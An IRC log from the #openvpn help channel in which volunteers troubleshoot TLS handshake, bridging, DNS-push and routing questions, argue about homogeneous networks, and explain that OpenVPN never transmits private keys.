13:27 -!- noobboob [uid5587@gateway/web/irccloud.com/x-hcjxwdvhnhjidoqx] has joined #openvpn
13:33 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
13:34 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
13:47 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-rrducwligsrnaffu] has quit [Ping timeout: 240 seconds]
13:48 -!- XJR-9 [sid2977@pdpc/supporter/active/xjr-9] has quit [Ping timeout: 246 seconds]
13:49 -!- red_racer12 [sid20963@gateway/web/irccloud.com/x-dfkmqwbvdooanmco] has quit [Ping timeout: 240 seconds]
13:49 -!- noobboob [uid5587@gateway/web/irccloud.com/x-hcjxwdvhnhjidoqx] has quit [Ping timeout: 260 seconds]
13:49 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-srnbdtnvfmylmgrl] has quit [Ping timeout: 252 seconds]
13:50 -!- XJR-9 [sid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
13:52 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
13:52 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-qubynxhiisjqqlle] has joined #openvpn
13:53 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-wkwhwvnoawertutk] has joined #openvpn
13:53 -!- red_racer12 [sid20963@gateway/web/irccloud.com/x-pjkskfyaaylhaunc] has joined #openvpn
13:53 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
13:53 -!- noobboob [uid5587@gateway/web/irccloud.com/x-xydwvzlxssletfov] has joined #openvpn
13:56 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
14:00 -!- ade_ [~Ade@redhat/adeb] has joined #openvpn
14:01 -!- ade_ [~Ade@redhat/adeb] has quit [Remote host closed the connection]
14:09 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 246 seconds]
14:11 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
14:12 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Remote host closed the connection]
14:19 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
14:24 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
14:44 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-wkwhwvnoawertutk] has quit [Ping timeout: 240 seconds]
14:44 -!- kirin` [telex@gateway/shell/anapnea.net/x-dhbpwtcyerpdzyfh] has quit [Ping timeout: 272 seconds]
14:44 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 248 seconds]
14:46 -!- kirin` [telex@gateway/shell/anapnea.net/x-wdmfxvmknflhvyun] has joined #openvpn
14:46 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
14:46 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-lsqiufdrkfhbkgtg] has joined #openvpn
14:46 -!- cyberspace- [20253@ninthfloor.org] has quit [Read error: Connection reset by peer]
14:48 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
15:02 < EugeneKay> !factoids
15:02 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
15:03 < EugeneKay> Sigh. Windows, I hate you.
15:04 < EugeneKay> What obvious thing am I missing for a new W8.1 box? Installed the 2.3.2-x64, firewall exception for openvpn.exe added, running GUI as administrator
15:04 < EugeneKay> IP:proto:port is right, but still getting TLS key negotation failed etc
15:04 < rob0> You're missing the <linux-of-choice> DVD and wipe and install. :)
15:05 < EugeneKay> Rah rah rah, yeah.
15:05 < EugeneKay> I like my graphics drivers to work, etc etc
15:06 < rob0> oh, mine work fine, maybe I've been lucky
15:06 < EugeneKay> It's the same setup I have on the adjacent laptop, which is annoying.
15:06 < rob0> (I know I have, because /dev/wife has ~weekly nouveau crashes)
15:07 < EugeneKay> The USB3-->HDMI adapters I use to get a monitor count of 6 have exactly zero linux drivers. So.
15:07 < EugeneKay> But enough of my own internal OS conflicts; wtf am I missing. It's gonna be a head-slapper when I find it.
15:08 < pekster> Win8 is the client? You shouldn't need any fw exemption if it's not listening/accepting connections initiated externally
15:08 < EugeneKay> Yup; figured it wouldn't hurt.
15:09 < pekster> Yea, nice if you use --management perhaps
15:10 < EugeneKay> Server is even getting the initial packet..... TLS handshake failed.
15:10 < EugeneKay> Hm.
15:10 < EugeneKay> hmac.key has the right SHA1SUM....
15:10 < pekster> --tls-auth settings or --tls-cipher, or one of the tls verification extras?
15:11 < EugeneKay> Exactly the same as the working laptop(it's the same config file; just a different cert/key)
15:11 < EugeneKay> And yes, I changed the name of --cert / --key in the config too
15:11 < pekster> Could still be an extension in the new client cert the server is expecting (a la, `--remote-cert-tls client` or such)
15:12 < EugeneKay> I'd see a cert verification error on the server
15:12 < pekster> Just a 60 sec timeout on both ends? That's odd
15:12 < wallbroken> https://community.openvpn.net/openvpn/wiki/EasyRSA3-OpenVPN-Howto
15:12 <@vpnHelper> Title: EasyRSA3-OpenVPN-Howto – OpenVPN Community (at community.openvpn.net)
15:12 < wallbroken> maybe is there an error
15:12 < EugeneKay> Yup. Verb 5 time!
15:12 < wallbroken> /easyrsa gen-req UNIQUE_NAME_HERE
15:13 < wallbroken> for the first one
15:13 < wallbroken> the parameter is called "SERVER_COMMON_NAME" and it is wrong, it is not the common name but only the filename
15:13 < wallbroken> /easyrsa gen-req SERVER_COMMON_NAME nopass
15:13 < pekster> Still needs to be unique wallbroken
15:14 < EugeneKay> "TLS: Initial packet from (server)" Promising
15:14 < pekster> If you try to call 'gen-req' on a file that already exists, easyrsa v3 will yell at you and ask if you really want to wipe out your existing key
15:14 < EugeneKay> So why isn't it doing the damned thing
15:15 < wallbroken> "SERVER_COMMON_NAME" is not the common name, but is the unique name, common name will be asked after
15:15 < pekster> True, the howto could match the example name text
15:19 < pekster> Updated, probably a bit more obvious now
15:23 < EugeneKay> Trying a TCP link now, seeing WRRWWW spam on server.log..... but the client isn't doing anything with it. Windows Firewall completely off.
15:23  * EugeneKay stumped.
15:26 < pekster> Client seeing the 'R' for read events matching the server's sent 'W's?
15:28 < EugeneKay> Nope.
15:28 < EugeneKay> Just a pile of WWW
15:29 < pekster> So the replies aren't making it back to your client; there's a disconnect there somewhere in packet delivery
15:29 < EugeneKay> Which makes zero sense.
15:29 < pekster> server-app thinks it's sending, but client isn't receiving
15:30 < EugeneKay> For science, I've completely turned off tls-auth and remote-cert checking here.
15:32 < EugeneKay> Maybe the "WiFI Router" at this housei s derping.
15:32 < EugeneKay> Only other palce i can think of.
15:32 < EugeneKay> place
15:36 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
15:36 < EugeneKay>  Sur-fucking-prise. That did it.
15:36  * EugeneKay cries
15:46 < wallbroken> the same thing here: https://community.openvpn.net/openvpn/wiki/EasyRSA3-Insecure-PKI
15:46 <@vpnHelper> Title: EasyRSA3-Insecure-PKI – OpenVPN Community (at community.openvpn.net)
15:46 < pekster> I'll poke at that later; meanwhile it's a wiki, so anyone is free to fix it ;)
15:46 < wallbroken> you should substitute "server1" with "UNIQUE_NAME_HERE"
15:54 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
15:55 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
16:02 -!- Cubox [cubox@unaffiliated/cubox] has left #openvpn ["WeeChat 0.4.2-rc2"]
16:07 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
16:07 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
16:13 -!- simbalinux [~ubuntu@ip68-108-135-177.lv.lv.cox.net] has joined #openvpn
16:13 < simbalinux> question when setting up OVPN server and your linux server is on DHCP and your router is reserving the dhcp address like a static IP how would one crate the br0 adapter?
16:14 <@ecrist> !notovpn
16:14 < simbalinux> my current ip address for the linux OPVN server is dhcp reserved
16:14 <@vpnHelper> "notovpn" is (#1) "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem or (#2) sorry, but we dont care. this channel is only for help with openvpn.
16:14 <@ecrist> I think it's bridge add ...
16:14 <@ecrist> man bridte
16:14 <@ecrist> bridge*
16:14 < simbalinux> @vpnHelper was that directed to me?
16:15 < simbalinux> ecrist: the docs say to do this:  iface br0 inet static  address 192.168.1.10  netmask 255.255.255.0 gateway 192.168.1.1 bridge_ports eth0
16:15 < pekster> Bridging requires that you use your OS/distro centric mechanism to set up your bridge
16:15 < simbalinux> would I just insert "iface br0 inet dhcp" ???
16:15 < pekster> This will vary depenidng on your platform/distro, your networking needs, and your init system
16:15 <@ecrist> simbalinux: vpnHelper is a bot
16:16 < pekster> So, tl;dr: it's up to _you_ to set up you OS bridge if you're bridiging. Easy fix: don't bridge. Read !tunortap for details
16:16 < simbalinux> pekster: can you see my prposed solution would that work?
16:16 < simbalinux> see above
16:17 <@ecrist> no, YOU see above
16:17 <@ecrist> !notovpn
16:17 <@vpnHelper> "notovpn" is (#1) "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem or (#2) sorry, but we dont care. this channel is only for help with openvpn.
16:17 < simbalinux> ecrist: I am not able to bridge?
16:17 < pekster> If you need help with debian-style networking, try #debian
16:17 < pekster> or `man 5 interfaces` or any more appropriate method to learning how basic networking is setup for your platform
16:17 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 264 seconds]
16:17 <@ecrist> you can, but we're nothere to help you with your OS commands
16:17 < simbalinux> I am asking a conecpt about bridging using dhcp not debian specific
16:17 < pekster> That is not a basic contept, no
16:17 < simbalinux> i dont need OS command I need to know if you can assign a br0 as dhcp?
16:18 < pekster> that's interfaces(5) specific, and that _is_ debian
16:18 < pekster> man brctl if you're on Linux for bridge help
16:18 <@ecrist> That's not related to openvpn
16:18 < simbalinux> okay dude whatever whatever OS you like to use you can bridge on any OS on any interface
16:18 -!- simbalinux was kicked from #openvpn by ecrist [wake up, man!]
16:19 <@ecrist> I expect simbalinux to come back mad.  I'm a gay nazi, and you, pekster, are a communist repressor, and likely personally responsible for the red square masacre.
16:20 < pekster> As long as you don't try to tell me that was one of my former lives that is living in me as Theatans we'll probably be okay with that arrangement ;)
16:21 <@ecrist> hehe
16:21 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
16:21 < Thermi> I'm taking care of him in ##linux now.
16:22 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
16:22 < pekster> That's a better place to ask about OS basics, so I guess (s)he learned
16:22 < Thermi> *Challenge accepded*
16:22 < Thermi> *Accepted
16:22 <@ecrist> god speed
16:23 <@ecrist> fwiw, thermi, you are/were welcome to help him here, but the assertion by lusers that we are *OS support is futile on a general scope
16:24 <@ecrist> i.e. people need help with Free/Open BSD pf and NAT all the time.  !notovpn applies, unless I'm here *AND* willing to help
16:25 < pekster> fwiw, I like the 'whatis' reply to `whatis iface` (since iface is a config file stanza, not a command). You get back: iface: nothing appropriate.
16:25 < pekster> Sums that up nicely :P
16:25 <@ecrist> lol
16:25 < EugeneKay>  Ah, Debian.
16:26  * EugeneKay vomits
16:26 <@ecrist> we were forced to move from FreeBSD to Debian7 on our phone system recently.  :'(
16:27 < pekster> It's not "horrible", but IMO interfaces(5) is just more complex than it needs to be, and doesn't support nicities like CIDR, etc
16:28 < EugeneKay> By who? the debinaizis?
16:28 < EugeneKay> At like, gunpoint?
16:28 <@ecrist> no, the folks that write freeswitch
16:29 <@ecrist> there was a fork a couple years ago with pthread.  Linux went one way, the BSDs went another.  FreeSWITCH decided to not support the BSD way
16:29 < EugeneKay> Patches unwelcome?
16:30 <@ecrist> not at all.  We just don't have the man power to supply them
16:30 <@ecrist> we hope we will at some point.
16:30 <@ecrist> a homogenous network is nice
16:30 < Thermi> Nice to manage. But vulnerable in security terms.
16:30 <@ecrist> that said, our phone systems pretty mush just phone system, so not a huge deal
16:31 < EugeneKay> I would argue the opposite
16:31 < Thermi> Btw: I managed to give him the answer he was looking for.
16:31 < EugeneKay> But you're free to your opinions
16:31 <@ecrist> I'm with EugeneKay on this one.
16:31 < Thermi> Sure. We can debate that, if you like.
16:31 < EugeneKay> Oh, you can /have/ your opinions. But they're not necessarily welcome here.
16:32 < pekster> Dunno, I just like looking at my network config without all this nonsense about putting each IP/netmask on separate config lines; that gets ugly fast. One of my more fancy setups at home right now looks like: http://fpaste.org/63902/75147713/raw/
16:32 < pekster> And that would look just awful in debian-style :\
16:32 <@ecrist> Thermi: My FreeBSD boxes are far more secure than any linux box on the network, for the simple fact I know what it is, how to manage it, and been using it for 15 years. 
16:32 < pekster> Especially the policy routing stuff :P
16:32 <@ecrist> Linux is new, and untested (to me)
16:33 <@ecrist> pekster: you're arguing AGAINST BSD?
16:33 < Thermi> ecrist: Let's assume FreeBSD has some critical vulnerability in the network stack and an attacker knows about it. Now it can attack all your FreeBSD boxes.
16:33 < pekster> Hmm? Not really, I just would like to see things support CIDR ;)
16:33 < pekster> At least IPv6 mandates it, so that's progress
16:34 < Thermi> (referring to the attacker being without gender)
16:34 <@ecrist> Thermi: it can?
16:34 < Thermi> Well, it's not impossible.
16:34 < Thermi> If you had Linux boxes on the network, then those couldn't be attacked by the attacker.
16:34 <@ecrist> so, you're saying be installing 87 (arbitrary) different OSes with disparate network stacks, I'm more secure?
16:34 < Thermi> Same for Windows boxes.
16:34 <@ecrist> FWIW, FreeBSD's network stack is used in places you might find 'novel'
16:34 < Thermi> Well, I don't think the thesis is still valid to that degree.
16:35 < EugeneKay> I love hearing abotu theoretical attack to a network stack
16:35 <@ecrist> so, Linux is invulnerable, FreeBSD is vulnerable?
16:35 < EugeneKay> Please, show me the last practical one that existed in $OS
16:35 < Thermi> No.
16:35 < pekster> BSD ifconfig uses CIDR in output, although the equiv on Linux is `ip` (which people for some reason _still_ don't use on the CLI -- it's been around for over a decade, and ifconfig on Linux uses *2.4* kernel era iocts, so way-deprecated
16:36 < Thermi> The network stack was just an example. It could be any software running on the boxes.
16:36 <@ecrist> so, you're arguing against homogenous networks?
16:36 < Thermi> Yep.
16:36 < pekster> That's an odd argument
16:36 <@ecrist> it's a retarded one
16:36 < EugeneKay> Do you also believe the moon is made of cheese
16:36 < pekster> Sometimes you need more than 1 platform for a variety of reasons, but more systems "just becuase" is insane
16:37 < Thermi> No OS is impenetrable. But it's far more uncommon that an attacker has exploits for _all_ the OSes that exist in your network
16:37 < Thermi> than that the attacker has one for, for example, FreeBSD.
16:37 < pekster> That's a horrible argument outside of decentralized systems (like global DNS, for instance)
16:37 <@ecrist> I'm not saying ANY OS is secure.  But if I only have to keep up with one, my chances of security are better than 87, or 2, regardless of that OSes ability to plug holes
16:37 < Thermi> Well, that's a management problem.
16:38 < pekster> 'eh, it's a sanity problem. Most admins like to say (marginally) sane
16:38 <@ecrist> it's ALL a management problem.
16:38 <@ecrist> herp derp, my whole point is homogenous networks are easier to manage.
16:38 <@ecrist> regardless of OS
16:39 < EugeneKay> I'm usually plenty happy to let "experts" have wrong opinions. As a consultant, it means I have job security cleaning up their messes!
16:39 < Thermi> Yep. But security is not always easy or comfortable.
16:39 < Thermi> In this case: comfortable.
16:40 <@ecrist> your argument is that, having different OSes is more secure
16:40 < EugeneKay> You do realize that we all think you're an idiot, right?
16:40 < Thermi> I know.
16:40 <@ecrist> I argue that your "solution" is inherently more insecure.
16:40 < pekster> More platforms doesn't increase security, and that's a foolish notion (that you're free to keep, I suppose.) Response to security issues in a timey fashion is far more important than "having possibly non-vulnerable OSes" by numbers. That's crazy
16:40 < EugeneKay> Good good. I wouldn't want you to waste typing on our account
16:41 < EugeneKay> Feel free to do it out of stubbornness, but I have Windows boxen to corral
16:41  * pekster hands EugeneKay DBAN ;)
16:41 <@ecrist> lol
16:42 < EugeneKay> Yeah yeah yeah
16:42 <@ecrist> As much as I'll argue I'm happier NOT using Windows, I'm not an MS hater, at least where ME, Vista, and 8 aren't involved
16:43 < EugeneKay> I genuinely find my Windows 7/8 setup to be more usable than any $NIX window manager I've tried
16:43 < EugeneKay> Not being a second-class graphics / game citizen is nice, too
16:43 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Ping timeout: 250 seconds]
16:44 <@ecrist> I use OS X on my workstation, with Windows XP or 7 VMs.  FreeBSD is strongly preferred (and enforced) on the server side
16:44 <@ecrist> I game on the console, with rare exceptions
16:45 < EugeneKay> I have an irrational fear of OS X - abusive stepmother as a child.
16:45 < grep0r> me/vista sucks xp was good 7 not that bad, 8 is a joke i have pc not a mobile
16:45 < EugeneKay> I was forced into an iBook ;-(
16:45 <@ecrist> every other release is a bomb holds true. ;)
16:45 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 246 seconds]
16:45 < pekster> Vista sucks less as of SP2
16:45 < pekster> But yea, Win7 is basically "Vista SP3"
16:45 < pekster> Vista, minus the stuff they never should have done
16:46 <@ecrist> EugeneKay: I try to not be an OS X Zealot, but everyone I've suggested it, who's embraced it, has loved it.
16:46 < EugeneKay> In seriousness, I'm just not down with the Apple Tax. I paid $1200 for my XPS 12, and that was already uncomfortably too much for a laptop.
16:47 < EugeneKay> A roughly-equivalent macbook(minus the touchscreen + lid-flip, which I've come to LOVE) would be at least another $500
16:47 < pekster> Part of what you're paying for with Apple hardware is the hw/sw integration they've got going, which has its advantages to be sure
16:47 < EugeneKay> and I'd /still/ be a second-class gaming citizen(No, I will NOT consider dual-booting or gaming under VMware)
16:48 < pekster> It's part of what makes OpenVPN so special in that it runs on all major (and a good number of more minor) platforms, though much of that is thanks to the Win32/MacOS tun driver support
16:54 < pekster> Apparently one of the Tunnelblick maintainers replied (just to me, must have missed the reply to group feature) that easyrsa v3 fixes some mess of patches they've needed for v2 to make it work, so that's good
16:54 < pekster> Though it's a bit of a bummer they didn't try to get those fixed upstream before ;)
16:55 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
16:56 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
16:56 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 264 seconds]
16:56 < joshh20> I followed the flowchart that I was linked and found out I have a DNS error
16:56 < joshh20> When I force the client to use its own DNS, it works fine, otherwise, it wont
16:57 < pekster> We have a few flowcharts; maybe !redirect ?
16:57 < joshh20> !redirect
16:57 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:57 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
16:57 < pekster> That one?
16:57 < joshh20> Yes
16:57 < pekster> If you redirect traffic and have specified an ISP-specific DNS server that only accepts replies from ISP customers, you'll need to use a more generic DNS server, like GoogleDNS at 8.8.8.8
16:58 < pekster> See !pushdns for the method and client-side needs for non-Windows
16:58 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
16:58 < joshh20> Sweet
16:58 < joshh20> Thank you
16:58 < joshh20> !pushdns
16:58 <@vpnHelper> "pushdns" is (#1) push dhcp-option DNS a.b.c.d to push dns to the client or (#2) For pushing DNS to a Windows client, see: !windns or (#3) Unix-alikes are required to process the env-var in an --up script; read about --dhcp-option in the manpage or (#4) For distros that use resolvconf you can try the update-resolv-conf script under the contrib/ source dir
16:59 < joshh20> Would I just add this to server config file? push "dhcp-option DNS 10.66.0.4"
16:59 < joshh20> Obviously specifying Gogole DNS
17:05 < pekster> Yup
17:05 < pekster> Or any DNS you can get to properly from the server-side
17:05 < pekster> Google is just ubiqious and works basically anywhere
17:05 < joshh20> Oh ok, you are helpful with this, OpenVPN is really cool but was confusing for me
17:43 -!- HyperGlide [~HyperGlid@176.36.68.68.client.dyn.strong-sf77.as22781.net] has quit [Remote host closed the connection]
17:44 -!- HyperGlide [~HyperGlid@176.36.68.68.client.dyn.strong-sf77.as22781.net] has joined #openvpn
17:45 -!- smerz [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 250 seconds]
17:53 -!- HyperGlide [~HyperGlid@176.36.68.68.client.dyn.strong-sf77.as22781.net] has quit [Quit: Leaving...]
18:04 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:14 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:36 < joshh20> I added that line in and restarted OpenVPN on both the client and the server, and DNS still isn't working for m
18:36 < joshh20> I am using Tunnelblick on OS X Mavericks
18:40 < pekster> Look into why with the `dig` command -- if you can resolve DNS names by pointing to googleDNS directly you haven't applied the pushed DNS settings; IIRC, Tunnelblick has a checkbox to call the OS-specific dnsctl command when that option is detected
18:41 < pekster> ie: openvpn won't automatically set DNS for you on the OS X/BSD platform you're using, but Tunnelblick has logic that can when enabled
18:44 -!- simbalinux [~ubuntu@ip68-108-135-177.lv.lv.cox.net] has joined #openvpn
18:45 < simbalinux> hey guys is it possible and efficient to setup an openvpn server on aws ec2 to connect clients to a remote location? in theory
18:45 < pekster> joshh20: Read the tunnelblick ref on config details: https://code.google.com/p/tunnelblick/wiki/UsingTunnelblick#The_%22Details%E2%80%A6%22
18:45 <@vpnHelper> Title: UsingTunnelblick - tunnelblick - Using Tunnelblick - OpenVPN GUI for Mac OS X - Google Project Hosting (at code.google.com)
18:45 < simbalinux> so another words there would be 3 points, A  vpn server  B
18:46 < simbalinux> so the vpn server does not need to be inside the "LAN" of the network you are trying to connect to?
18:47 < simbalinux> were those links above directed at me pekster
18:47 < pekster> No, I have no clue waht you're asking. By putting someone else's nick in front of it they were clearly not for you
18:48 < simbalinux> im talking about vpnHelper I did not see yours
18:48 < simbalinux> i just logged in
18:48 < pekster> it's a bot that parses the title of URLs
18:48 < simbalinux> can you help me with a question pekster
18:48 < pekster> Not without you explaining better
18:49 < simbalinux> Okay my question is can an openvpn server be used in such a way e.g. it sits on the cloud , in that..clients connect through it on the cloud and redirects to an offsite network in a arbitrary location?
18:49 < simbalinux> or does the vpn server need to be in the LAN of the destination
18:50 < pekster> If you have a route to this "arbitrary location", yes. OpenVPN merely establishes a secure link between points; what you do over that link is entierly up to you
18:50 < pekster> You can expose LANs behind either or both of your VPN server and 1 or more VPN clients by reading !serverlan and !clientlan respectively
18:50 < simbalinux> but there would still need to be another vpn server at the destination location is that correct?
18:50 < pekster> Unless you can route to it from the server directly
18:50 < simbalinux> okay
18:51 < pekster> Think of openvpn as a "secure router link" if it helps you visualize
18:51 < simbalinux> thank you...is that a design method that is suggested or frowned upon? this method in which we are speaking about
18:51 < pekster> With vauge terms like "arbitrary location" I haven't a clue what you want
18:51 < simbalinux> arbitrary = any other network
18:51 < simbalinux> we would have 3 networks A - B - C
18:52 < pekster> You can't get to *my* private RFC1918 LAN, for instance. I have a firewall that prevents you from doing that
18:52 < pekster> So, "any" is another very bad term
18:52 < pekster> Be more specific about your question, not vauge, or you'll get nothing but vauge answers
18:52 < simbalinux> we are speaking theory here not specifics
18:52 < simbalinux> okay
18:52 < simbalinux> one second
18:52 < pekster> Then read the flowcharts at the linked !things above
18:52 < pekster> !new
18:52 <@vpnHelper> "new" is (#1) New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto or (#2) You can type each of the !commands in this chat and our bot will provide useful references and info or (#3) you can see the full factoids list at !factoids
18:53 < pekster> You can read !clientlan and !serverlan for routing to LANs behind OpenVPN nodes, or route in "the usual fashion" across an OpenVPN link. It's up to you to define your routing needs
18:53 < simbalinux> I have a home network which I plan on using vpn client, I would like to connect to a VPN server in an EC2 instance....I then have that route to access resources on a third network, e.g. printing, file shares etc.
18:53 < pekster> You may find !route helpful reading as well
18:53 < simbalinux> maybe I just need to scrap this idea
18:54 < pekster> Okay, so say that next time instead of 5 minutes of vauge "theory" bullshit. You can run an OpenVPN server wherever you want, connect 2 VPN instances as clients to it, and route between them
18:54 < simbalinux> pekster how do you react when someone in your opinion is impatient
18:54 < pekster> Start with the !howto for a basic server/client VPN, then expose each client's LAN by the steps in !clientlan for each client, and you'll have routing support
18:55 < pekster> Impatience has nothing to do with it. You clearly have a usecase in mind, so all this "I want to know in theory" is nonsense. You're not paying for my time, so I don't like playing guessing games to give you free help
18:55 < simbalinux> im simply trying to start a relationship here man
18:55 -!- elfixit [~Icedove@213.55.184.157] has joined #openvpn
18:55 < simbalinux> i did not know you asked for any money I apologize
18:56 < pekster> I didn't; that's my point
18:56 < simbalinux> well how would i know
18:56 < pekster> ..
18:56 < pekster> Becucase this is FOSS
18:56 < simbalinux> im more than happy to compensat for goods or services
18:56 < pekster> !ask
18:56 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
18:56 < pekster> Wonderful guides to getting help on IRC there, most of which boils down to ask for help with your problem
18:57 < simbalinux> fair enough but if you like to be paid them your implication is vague since you mentioned it
18:57 < pekster> You really ought to check out the references I gave you though that do exactly what you asked for
18:57 < simbalinux> are those references built into the channel here
18:57 < pekster> ...
18:57 < pekster> !new
18:57 <@vpnHelper> "new" is (#1) New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto or (#2) You can type each of the !commands in this chat and our bot will provide useful references and info or (#3) you can see the full factoids list at !factoids
18:57 < simbalinux> i will exhaust and memorize those
18:57 < pekster> simbalinux: ^ I want to you read that ;)
18:57 < simbalinux> okay I will
18:58 < simbalinux> i coached football for 10 years I get what you are saying
18:58 < pekster> Read (#2) in particular. Then go read the !howto and specifically the !clientlan links; that last one does _exactly_ what you asked for
18:58 < simbalinux> i coach the same way brutal
18:58 < simbalinux> !new
18:58 <@vpnHelper> "new" is (#1) New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto or (#2) You can type each of the !commands in this chat and our bot will provide useful references and info or (#3) you can see the full factoids list at !factoids
18:59 < simbalinux> !welcome
18:59 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
18:59 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
18:59 < simbalinux> okay I see now I apologize there is a system here thanks pekster
19:00 < simbalinux> !ask
19:00 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
19:00 < joshh20> I used all 5 different DNS and Nameserver settings in Tunnelblick and none of the, fixed my DNS issues
19:01 < pekster> simbalinux: We get a lot of the same questions here, so we have very helpful links and reading provided by the bot. In particular, your use-case is covered in !clientlan, but in order to use those steps you need a functioning VPN that you can set up with the official how-to guide at !howto. We're happy to answer additional questions, but do start with that reading since it applies to your goals
19:01 < pekster> joshh20: And what happened when you tried to query GoogleDNS directly from your client as I suggested?
19:01 < pekster> `dig @8.8.8.8 google.com` or a similar command..
19:01 < joshh20> Just time out response
19:02 < joshh20> Hmm
19:02 < joshh20> Let me try again
19:02 < simbalinux> !howto
19:02 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
19:02 -!- xrosnight [~quassel@120.236.123.130] has joined #openvpn
19:03 < joshh20> Ah, when I do that command I do get a response
19:04 < pekster> Then you can do DNS lookups fine to that resolver. Sounds to me like you haven't configured your local resolver to use that nameserver
19:06 < joshh20> Ohhh
19:06 < joshh20> It is working great now, thank you so much
19:06 -!- claudiop [~claudiop@a81-84-130-86.cpe.netcabo.pt] has joined #openvpn
19:07 < joshh20> Confirmed to work :)
19:07 < claudiop> Hi. I would like to know if my keys are safe if the network I am using its not.
19:08 < claudiop> Is there any sort of ssl encryption to send the authentication keys?
19:08 < pekster> Ideally you don't send your keys anywhere; generate them on each client & server you have
19:09 < pekster> If you're sending private keys, it's up to you to do so over a known secure transport, like an ssh/scp link where you trust the server's fingerprint
19:09 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
19:10 < simbalinux> !howto
19:10 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
19:10 < claudiop> pekster: I mean, i got two pairs of keys. Some to "travel", and some to my home network. How can i be sure that the keys i made to travel aren't intercepted in some public i use? If they are, would the attacker be able to log in my vpn?
19:11 < claudiop> simbalinux: Is that to me?
19:11 < claudiop> *public network
19:11 < pekster> If your keys are compromised, yes. Private keys are never sent by OpenVPN (only the public keys) -- that's how asymmetric crypto works
19:12 < pekster> claudiop: (no, he is looking up other details.) Are you simply concerned about your security when you connect from your own (secured) system over a hostile network? If so, that's safe
19:12 < pekster> claudiop: It might help you to read an Intro To PKI document here: https://github.com/OpenVPN/easy-rsa/blob/v3.0.0-rc1/doc/Intro-To-PKI.md
19:12 <@vpnHelper> Title: easy-rsa/doc/Intro-To-PKI.md at v3.0.0-rc1 · OpenVPN/easy-rsa · GitHub (at github.com)
19:13 < claudiop> pekster: That's what i meant. Thanks for the information :D It makes sense to auth with a message made with the private keys, and sent together with the public ones
